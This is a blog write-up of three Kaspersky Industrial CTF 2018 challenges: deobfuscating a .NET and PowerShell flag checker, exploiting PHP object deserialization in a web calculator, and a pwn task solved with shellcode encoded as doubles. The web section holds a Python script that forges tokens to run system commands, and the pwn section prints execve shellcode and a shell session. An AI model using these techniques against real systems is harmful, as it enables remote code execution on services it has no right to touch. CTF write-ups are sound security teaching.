CTFするぞ

CTFを勉強してて学んだことをまとめていきたい

Kaspersky Industrial CTF 2018 Writeup

I joined in Kaspersky Industrial CTF as insecure and solved 3 challanges. I think I was close to the answer of CutTheRop, but couldn't make it......

Anyway, I really enjoyed the CTF!

[re 587] glardomos

Description: Find the flag inside the binary
File: Glardomos.exe

The executable is built with .NET framework but obfuscated by ConfuserEx v1.0.0.

f:id:ptr-yudai:20181125155322p:plain

I used ConfuserEx-Unpacker and de4dot to deobfuscate the binary.

github.com

github.com

I removed the anti-tamper and proxy calls, and decrypted some strings with ConfuserEx-Unpacker. After that I opened the cleaned executable with dnSpy, but it was still obfuscated. I used de4dot to remove the rest of the obfuscation, and I got a deobfuscated executable finally.

f:id:ptr-yudai:20181125160932p:plain

The program decrypts an AES cipher and invokes the following PowerShell script:

$flag="<input flag>"; <decrypted ciphertext>

So, the decrypted text is the code that checks our flag. I run the debugger and retrieved the script:

. ((varIAbLe '*MDR*').NAME[3,11,2]-jOiN'') ( -jOIn('5b{73r74Z52<49r6eJ47%5d<3a;3ar6a!6f!69
[snipped]
4e<27<27Z29'.SPlit('Z!%<{r;J') |% { ( [CONvErt]::TOint16( ( [STriNg]$_ ) ,16 )-AS[CHar])} ))

The PowerShell script is obfuscated. I simply used echo to get the deobfuscated script:

iex
[stRInG]::joiN( '', [ChAR[]](32 , 34, 36,40, 83,
[snipped]
, 78 , 39, 39, 41) ) | &((GV '*mdR*').name[3,11,2]-jOIN'')

It's still obfuscated...... Deobfuscate again:

"$(SEt-ItEm  'VariaBlE:oFS'  '') "+[sTring]( '1101z
[snipped]
" | .( $env:comspec[4,15,25]-jOiN'')

Again:

$
a
 
=
 
"
a
a
a
a
a
[snipped]

Newline is inserted after each character, so I removed newlines and got the following script along with the flag:

$a = "aaaaaaaaaaaaaaaaaaaaaaa";
$rv = $FALSE;
if ($flag.length - ne 39) {}
elseif($flag[0] - ne 'K') {}
elseif($flag[1] - ne 'L') {}
elseif($flag[2] - ne 'C') {}
elseif($flag[3] - ne 'T') {}
elseif($flag[4] - ne 'F') {}
elseif($flag[5] - ne '{') {}
elseif($flag[6] - ne '3') {}
elseif($flag[7] - ne '4') {}
elseif($flag[8] - ne 'O') {}
elseif($flag[9] - ne 'K') {}
elseif($flag[10] - ne '3') {}
elseif($flag[11] - ne 'B') {}
elseif($flag[12] - ne 'P') {}
elseif($flag[13] - ne 'K') {}
elseif($flag[14] - ne '3') {}
elseif($flag[15] - ne '3') {}
elseif($flag[16] - ne 'H') {}
elseif($flag[17] - ne '0') {}
elseif($flag[18] - ne 'S') {}
elseif($flag[19] - ne 'Z') {}
elseif($flag[20] - ne 'X') {}
elseif($flag[21] - ne '3') {}
elseif($flag[22] - ne 'Y') {}
elseif($flag[23] - ne 'Z') {}
elseif($flag[24] - ne 'X') {}
elseif($flag[25] - ne 'N') {}
elseif($flag[26] - ne '2') {}
elseif($flag[27] - ne 'V') {}
elseif($flag[28] - ne 'C') {}
elseif($flag[29] - ne 'J') {}
elseif($flag[30] - ne 'V') {}
elseif($flag[31] - ne '2') {}
elseif($flag[32] - ne '4') {}
elseif($flag[33] - ne 'C') {}
elseif($flag[34] - ne 'P') {}
elseif($flag[35] - ne '6') {}
elseif($flag[36] - ne 'Y') {}
elseif($flag[37] - ne 'H') {}
elseif($flag[38] - ne '}') {} else {
    $rv = $TRUE;
}
if ($rv) {
    Write - Output "Success!"
} else {
    Write - Output "Failed!"
} +

[web 50] expression

Description: http://expression.2018.ctf.kaspersky.com/

It's a simple application which calculates a binary arithmetic operation. It also has a function to share the result.

f:id:ptr-yudai:20181124223236p:plain

As we can see below, the token is a base64 encoded string of a serialized object.

$ echo "TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==" | base64 -d | hexdump -C
00000000  4f 3a 31 30 3a 22 45 78  70 72 65 73 73 69 6f 6e  |O:10:"Expression|
00000010  22 3a 33 3a 7b 73 3a 31  34 3a 22 00 45 78 70 72  |":3:{s:14:".Expr|
00000020  65 73 73 69 6f 6e 00 6f  70 22 3b 73 3a 33 3a 22  |ession.op";s:3:"|
00000030  73 75 6d 22 3b 73 3a 31  38 3a 22 00 45 78 70 72  |sum";s:18:".Expr|
00000040  65 73 73 69 6f 6e 00 70  61 72 61 6d 73 22 3b 61  |ession.params";a|
00000050  3a 32 3a 7b 69 3a 30 3b  64 3a 31 3b 69 3a 31 3b  |:2:{i:0;d:1;i:1;|
00000060  64 3a 32 3b 7d 73 3a 39  3a 22 73 74 72 69 6e 67  |d:2;}s:9:"string|
00000070  69 66 79 22 3b 73 3a 35  3a 22 31 20 2b 20 32 22  |ify";s:5:"1 + 2"|
00000080  3b 7d                                             |;}|
00000082

The operation in this example is sum. I changed it into foobar and got an error.

f:id:ptr-yudai:20181125112653p:plain

This error shows us that we can call a function written in op and pass params as arguments. Let's try system("ls"); then. I wrote a code to generate a token.

import base64

op = 'system'
param = 'ls /'
stringify = "whatever"

obj = 'O:10:"Expression":3:{{s:14:"\x00Expression\x00op";s:{0}:"{1}";s:18:"\x00Expression\x00params";s:{2}:"{3}";s:9:"stringify";s:{4}:"{5}";}}'.format(
    len(op), op, len(param), param, len(stringify), stringify
)

print(obj)
print(base64.b64encode(obj))

I sent the token and got a list of files.

f:id:ptr-yudai:20181125122826p:plain

I found the flag in the root directory.

[pwn 635] doubles

Description: nc doubles.2018.ctf.kaspersky.com 10001
File: doubles

We are given a 64-bit ELF as shown below.

$ checksec doubles
[*] '/home/ptr/kasp/doubles/doubles'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The following flow is the overview of this program.

  1. It allocates a region of 0x1000 bytes long with a permission of RWX.
  2. It asks us an integer n, which must be between 0 and 7.
  3. We can enter n numbers (double ) and each number is stored into the allocated region one by one.
  4. 0x909090909090C031 is stored at the allocated region + 0x70.
  5. The average of the n numbers is stored at the allocated region + 0x78.
  6. Every general register (including rsp) is set to zero.
  7. The rip jumps to the allocated region + 0x70.

So, what we have to do is make a valid shellcode and somehow make the program run it. A "double" number is stored in the memory as an 8-byte data. In order to make a shellcode, we have to send a sequence of decimals which consist a shellcode in binary expression. However, there are several difficulties.

  • We have to make the average of the n values to become a valid machine code to jump to the head of the shellcode.

  • Each piece of the shellcode must be a valid "double" value.

  • So far, we cannot use the stack because the rsp is set to zero.

The first problem can be solved by making the jump code much bigger than others. If a value is much bigger than others, the sum of the n values will still remain to be the big one, which means we can control the average of the n values. The MSB of a double value is a sign bit, and the following 11 bits indicates the exponents. We can express a very big value by making the exponents large.

The second problem is troublesome. We have to insert some NOPs in order to make the exponents valid.

The third problem is also hard. I solved this problem by setting rsp to rip+0x100. This works because the program allocated 0x1000 bytes at first. However, we have to make the shellcode within 40 bytes because we can send 6 values, and 1 of them is used as a jump code.

After many attempts, I finally found out a valid shellcode which can be expressed as a sequence of valid "double" values within 40 bytes, and the average becomes a jump code.

   0:   90                      nop
   1:   48 bb 2f 2f 62 69 6e    movabs rbx,0x68732f6e69622f2f
   8:   2f 73 68 
   b:   48 c1 eb 08             shr    rbx,0x8
   f:   48 8d 25 00 01 00 00    lea    rsp,[rip+0x100]        # 0x116
  16:   53                      push   rbx
  17:   48 31 c0                xor    rax,rax
  1a:   48 89 e7                mov    rdi,rsp
  1d:   50                      push   rax
  1e:   57                      push   rdi
  1f:   48 89 e6                mov    rsi,rsp
  22:   90                      nop
  23:   b0 3b                   mov    al,0x3b
  25:   0f 05                   syscall 
  27:   50                      push   rax

And the jump code is:

0:  90                      nop
1:  eb 8e                   jmp    0xffffffffffffff91
3:  90                      nop
4:  90                      nop
5:  90                      nop
6:  90                      nop
7:  72                      .byte 0x72 

Make sure we have to multiple the jump code by 6 because the average of the 6 values must become the jump code. I successfully got the shell by sending them :-)

jmp: 42414219992596245218001374870023488688887337184171076843703431849255849327244773206282145324118823472177755838157217743990471510797616601566533601020441367279653434504695985248529744545074141311725379574059428460261240719279830427101261962674176.000000
payload: 73403852927206634204109324231838157112777181233551279778921108455681314721939694102746846666328160484625144628588078663273511213524656164349863635915308558201246385194954266786756489034390978793797842144726060589481575055360.000000
payload: 1060018620876817941879053728465635246080.000000
payload: 25861459967167447253438973581629191094272.000000
payload: 31736139535490892940915403351753821782016.000000
payload: 304815503662884820652476385666798698945116784347429914078215724790876265775104.000000
$ ls
doubles
flag.txt
$ cat flag.txt
KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}
$